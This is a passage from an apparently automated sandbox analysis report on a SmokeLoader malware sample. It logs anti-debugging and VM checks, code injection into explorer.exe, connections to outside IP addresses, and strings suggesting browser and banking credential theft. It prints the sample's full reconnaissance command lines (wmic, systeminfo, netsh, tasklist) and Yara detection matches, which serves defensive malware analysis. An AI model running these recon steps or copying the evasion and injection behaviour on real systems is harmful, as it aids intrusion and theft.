Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Code function: 0_2_00418DF0 GetSystemTimeAdjustment followed by cmp: cmp dword ptr [00514d6ch], 11h and CTI: jne 00419024h		0_2_00418DF0
Source: C:\Users\user\AppData\Roaming\jvgasii	Code function: 6_2_00418DF0 GetSystemTimeAdjustment followed by cmp: cmp dword ptr [00514d6ch], 11h and CTI: jne 00419024h		6_2_00418DF0

Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Code function: 11_2_00007FF7CBCAFB38 GetEnvironmentVariableW,lstrcatW,lstrcpyW,lstrcatW,FindFirstFileW,lstrcatW,lstrcatW,FindClose,	11_2_00007FF7CBCAFB38
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_00432B15 FindFirstFileW,lstrcmpiW,lstrcmpiW,StrStrIW,StrStrIW,FindNextFileW,FindClose,	13_2_00432B15
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_00431D4A FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,FindNextFileW,FindClose,	13_2_00431D4A
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_00433ED9 PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,PathCombineW,lstrcmpiW,PathCombineW,FindNextFileW,FindClose,	13_2_00433ED9
Source: C:\Windows\explorer.exe	Code function: 15_2_00E330A8 FindFirstFileW,FindNextFileW,FindClose,	15_2_00E330A8

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 13_2_00436512 GetSystemInfo,

13_2_00436512

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: explorer.exe, 00000002.00000000.2219404532.000000000962B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWystem32\DriverStore\en-US\msmouse.inf_locv
Source: 9C13.tmp.13.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: 8CAE.exe, 0000000B.00000002.4581484598.000002404C82F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fo & echo 3284951881311361583284951881\r\n\r\nHost Name: user-PC\r\nOS Name: Microsoft Windows 10 Pro\r\nOS Version: 10.0.19045 N/A Build 19045\r\nOS Manufacturer: Microsoft Corporation\r\nOS Configuration: Standalone Workstation\r\nOS Build Type: Multiprocessor Free\r\nRegistered Owner: hardz\r\nRegistered Organization: \r\nProduct ID: 00330-71388-77086-AAOEM\r\nOriginal Install Date: 03/10/2023, 10:57:18\r\nSystem Boot Time: 25/09/2023, 08:44:03\r\nSystem Manufacturer: x26YeTxoS9PSNM\r\nSystem Model: 9rl4BeBz\r\nSystem Type: x64-based PC\r\nProcessor(s): 2 Processor(s) Installed.\r\n [01]: Intel64 Family 6 Model 143 Stepping 8 GenuineIntel ~2000 Mhz\r\n [02]: Intel64 Family 6 Model 143 Stepping 8 GenuineIntel ~2000 Mhz\r\nBIOS Version: MZZAY PO849, 21/11/2022\r\nWindows Directory: C:\\Windows\r\nSystem Directory: C:\\Windows\\system32\r\nBoot Device: \\Device\\HarddiskVolume1\r\nSystem Locale: en-gb;English (United Kingdom)\r\nInput Locale: de-ch;German (Switzerland)\r\nTime Zone: (UTC-05:00) Eastern Time (US & Canada)\r\nTotal Physical Memory: 4'095 MB\r\nAvailable Physical Memory: 2'954 MB\r\nVirtual Memory: Max Size: 8'191 MB\r\nVirtual Memory: Available: 7'215 MB\r\nVirtual Memory: In Use: 976 MB\r\nPage File Location(s): C:\\pagefile.sys\r\nDomain: 1TK6A\r\nLogon Server: \\\\user-PC\r\nHotfix(s): N/A\r\nNetwork Card(s): 1 NIC(s) Installed.\r\n [01]: Intel(R) 82574L Gigabit Network Connection\r\n Connection Name: Ethernet0\r\n DHCP Enabled: No\r\n IP address(es)\r\n [01]: 192.168.2.6\r\n [02]: fe80::1480:15d6:10aa:6464\r\nHyper-V Requirements: VM Monitor Mode Extensions: No\r\n Virtualization Enabled In Firmware: No\r\n Second Level Address Translation: No\r\n Data Execution Prevention Available: Yes\r\n3284951881311361583284951881\r\n\r\nC:\\Users\\user\\AppData\\Local\\Temp>GsaZnKyRMbnKXWqcpbcKkwDFLASmpJQKNxBgRoaOCNp\QZjUDmOzUXKGQ.exe,3524
Source: explorer.exe, 00000002.00000000.2219776484.00000000098AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}RoamingCom
Source: 9C13.tmp.13.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: explorer.exe, 00000002.00000000.2216587269.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000002.00000000.2219404532.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.3226508578.0000000002AAC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 9C13.tmp.13.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: 9C13.tmp.13.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 9C13.tmp.13.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: 9C13.tmp.13.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: explorer.exe, 00000002.00000000.2218006432.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: 9C13.tmp.13.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: explorer.exe, 00000002.00000000.2219776484.00000000098AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: 9C13.tmp.13.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 9C13.tmp.13.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 9C13.tmp.13.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: 9C13.tmp.13.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 9C13.tmp.13.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 9C13.tmp.13.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: explorer.exe, 00000002.00000000.2222980107.000000000C474000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: %me#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94
Source: explorer.exe, 00000002.00000000.2216587269.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 9C13.tmp.13.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: 9C13.tmp.13.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 9C13.tmp.13.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 9C13.tmp.13.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: explorer.exe, 0000000D.00000002.3226508578.0000000002A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH@
Source: 9C13.tmp.13.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 8CAE.exe, 0000000B.00000002.4580154670.000002404C80E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: 9C13.tmp.13.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: ROUTE.EXE, 00000025.00000002.3963036050.000002EE38E59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllCC
Source: 9C13.tmp.13.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: explorer.exe, 00000002.00000000.2219776484.00000000097F3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000002.00000000.2219404532.000000000973C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWws
Source: 9C13.tmp.13.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: explorer.exe, 00000002.00000000.2219404532.0000000009605000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTVMWare
Source: 9C13.tmp.13.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 9C13.tmp.13.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: explorer.exe, 00000002.00000000.2216587269.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000W
Source: 9C13.tmp.13.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 9C13.tmp.13.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 9C13.tmp.13.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: 9C13.tmp.13.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: explorer.exe, 00000002.00000000.2219776484.00000000098AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}lnkramW6
Source: 9C13.tmp.13.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: 9C13.tmp.13.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 9C13.tmp.13.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: explorer.exe, 00000002.00000000.2216587269.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: 9C13.tmp.13.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jvgasii	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uegasii	System information queried: CodeIntegrityInformation	Jump to behavior

Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jvgasii	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uegasii	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\DE97.exe

Code function: 9_2_00401E65 rdtsc

9_2_00401E65

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 16_2_02F01B17 CloseHandle,RtlMoveMemory,LoadLibraryA,GetProcAddress,LdrProcessRelocationBlock,

16_2_02F01B17

Source: C:\Windows\SysWOW64\explorer.exe

16_2_02F01016

Source: C:\Users\user\AppData\Local\Temp\8CAE.exe

Code function: 11_2_00007FF7CBCA78EC LoadLibraryA,GetProcAddress,GetCurrentProcess,IsWow64Process,

11_2_00007FF7CBCA78EC

Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Code function: 0_2_005F092B mov eax, dword ptr fs:[00000030h]	0_2_005F092B
Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Code function: 0_2_005F0D90 mov eax, dword ptr fs:[00000030h]	0_2_005F0D90
Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Code function: 0_2_006222E4 push dword ptr fs:[00000030h]	0_2_006222E4
Source: C:\Users\user\AppData\Roaming\jvgasii	Code function: 6_2_006B092B mov eax, dword ptr fs:[00000030h]	6_2_006B092B
Source: C:\Users\user\AppData\Roaming\jvgasii	Code function: 6_2_006B0D90 mov eax, dword ptr fs:[00000030h]	6_2_006B0D90
Source: C:\Users\user\AppData\Roaming\jvgasii	Code function: 6_2_007E03C4 push dword ptr fs:[00000030h]	6_2_007E03C4
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_0053092B mov eax, dword ptr fs:[00000030h]	9_2_0053092B
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_00530D90 mov eax, dword ptr fs:[00000030h]	9_2_00530D90
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Code function: 9_2_006D5A8F push dword ptr fs:[00000030h]	9_2_006D5A8F
Source: C:\Users\user\AppData\Roaming\uegasii	Code function: 10_2_0060092B mov eax, dword ptr fs:[00000030h]	10_2_0060092B
Source: C:\Users\user\AppData\Roaming\uegasii	Code function: 10_2_00600D90 mov eax, dword ptr fs:[00000030h]	10_2_00600D90
Source: C:\Users\user\AppData\Roaming\uegasii	Code function: 10_2_007464E7 push dword ptr fs:[00000030h]	10_2_007464E7

Source: C:\Users\user\AppData\Local\Temp\8CAE.exe

Code function: 11_2_00007FF7CBCA2654 GetProcessHeap,RtlReAllocateHeap,

11_2_00007FF7CBCA2654

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: DE97.exe.2.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 190.249.249.14 80	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Network Connect: 23.145.40.168 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 23.145.40.164 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 160.177.223.165 80	Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Thread created: C:\Windows\explorer.exe EIP: 86819A8	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jvgasii	Thread created: unknown EIP: 2FC19A8	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Thread created: unknown EIP: 51B1970	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uegasii	Thread created: unknown EIP: 2DA1970	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\explorer.exe	Memory written: PID: 3536 base: 6B79C0 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 1908 base: 7FF6091E2D10 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 6316 base: 6B79C0 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 2736 base: 7FF6091E2D10 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 1600 base: 6B79C0 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 3488 base: 7FF6091E2D10 value: 90	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jvgasii	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jvgasii	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uegasii	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uegasii	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 6B79C0	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 6B79C0	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 6B79C0	Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe	Code function: RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,GetCurrentProcessId,wsprintfA,RtlMoveMemory,CreateToolhelp32Snapshot,Process32First,CharLowerA,lstrcmpiA,lstrcmpiA,Process32Next,CloseHandle,Sleep, explorer.exe		18_2_00471016
Source: C:\Windows\SysWOW64\explorer.exe	Code function: wsprintfA,RtlMoveMemory,CreateToolhelp32Snapshot,Process32First,CharLowerA,lstrcmpiA,lstrcmpiA,Process32Next,CloseHandle,Sleep, explorer.exe		18_2_004710A5

Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Process created: C:\Windows\System32\cmd.exe cmd	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path AntiSpywareProduct Get displayName /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Processor Get Name,DeviceID,NumberOfCores /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Product Get Name,Version /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_NetworkAdapter Where PhysicalAdapter=TRUE Get Name,MACAddress,ProductName,ServiceName,NetConnectionID /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_StartupCommand Get Name,Location,Command /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_OperatingSystem Get Caption,CSDVersion,BuildNumber,Version,BuildType,CountryCode,CurrentTimeZone,InstallDate,LastBootUpTime,Locale,OSArchitecture,OSLanguage,OSProductSuite,OSType,SystemDirectory,Organization,RegisteredUser,SerialNumber /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Process Get Caption,CommandLine,ExecutablePath,ProcessId /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Volume Get Name,Label,FileSystem,SerialNumber,BootVolume,Capacity,DriveType /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_GroupUser Get GroupComponent,PartComponent /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_ComputerSystem Get Caption,Manufacturer,PrimaryOwnerName,UserName,Workgroup /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_PnPEntity Where ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}" Get Name,DeviceID,PNPDeviceID,Manufacturer,Description /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /displaydns
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ROUTE.EXE route print
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show state
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /v /fo csv

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 path win32_operatingsystem get caption,csdversion,buildnumber,version,buildtype,countrycode,currenttimezone,installdate,lastbootuptime,locale,osarchitecture,oslanguage,osproductsuite,ostype,systemdirectory,organization,registereduser,serialnumber /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 path win32_operatingsystem get caption,csdversion,buildnumber,version,buildtype,countrycode,currenttimezone,installdate,lastbootuptime,locale,osarchitecture,oslanguage,osproductsuite,ostype,systemdirectory,organization,registereduser,serialnumber /format:csv

Source: explorer.exe, 00000002.00000000.2216801762.00000000013A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: IProgram Manager
Source: explorer.exe, 00000002.00000000.2216801762.00000000013A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.2217863499.00000000048E0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000002.00000000.2216801762.00000000013A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000002.00000000.2216587269.0000000000D69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: +Progman
Source: explorer.exe, 00000002.00000000.2216801762.00000000013A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000002.00000000.2219776484.00000000098AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd31A

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 13_2_004855EB cpuid

13_2_004855EB

Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe

Code function: 0_2_00418DF0 InterlockedCompareExchange,GetFocus,ReadConsoleA,FindAtomA,SearchPathA,SetConsoleMode,SearchPathW,GetDefaultCommConfigA,CopyFileExW,CreatePipe,GetEnvironmentStringsW,WriteConsoleOutputA,GetModuleFileNameA,GetSystemTimeAdjustment,ObjectPrivilegeAuditAlarmW,WaitForSingleObject,SetCommState,GetConsoleAliasesLengthW,GetComputerNameA,CopyFileW,GetFileAttributesA,GetConsoleAliasExesLengthW,GetBinaryType,FormatMessageA,GetLongPathNameA,PurgeComm,LoadLibraryA,MoveFileW,InterlockedCompareExchange,

0_2_00418DF0

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 13_2_00432198 RtlZeroMemory,GetVersionExW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlCompareMemory,RtlCompareMemory,StrStrIW,FreeLibrary,

13_2_00432198

Source: C:\Users\user\AppData\Local\Temp\8CAE.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies the windows firewall

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh firewall show state

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh firewall show state

Source: 8CAE.exe, 0000000B.00000002.4581484598.000002404C82F000.00000004.00000020.00020000.00000000.sdmp, 8CAE.exe, 0000000B.00000003.3320217363.000002404C821000.00000004.00000020.00020000.00000000.sdmp, 8CAE.exe, 0000000B.00000003.3608910375.000002404C832000.00000004.00000020.00020000.00000000.sdmp, 8CAE.exe, 0000000B.00000003.3320585267.000002404C82E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiSpywareProduct
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM FirewallProduct
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiSpywareProduct

Stealing of Sensitive Information

Yara detected SmokeLoader

Source: Yara match	File source: 00000011.00000002.4578892665.00000000005C1000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.4579455330.0000000002F01000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 6316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 2736, type: MEMORYSTR
Source: Yara match	File source: 00000006.00000002.2516872418.00000000006F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3040798589.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2777517126.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2233667706.0000000002170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
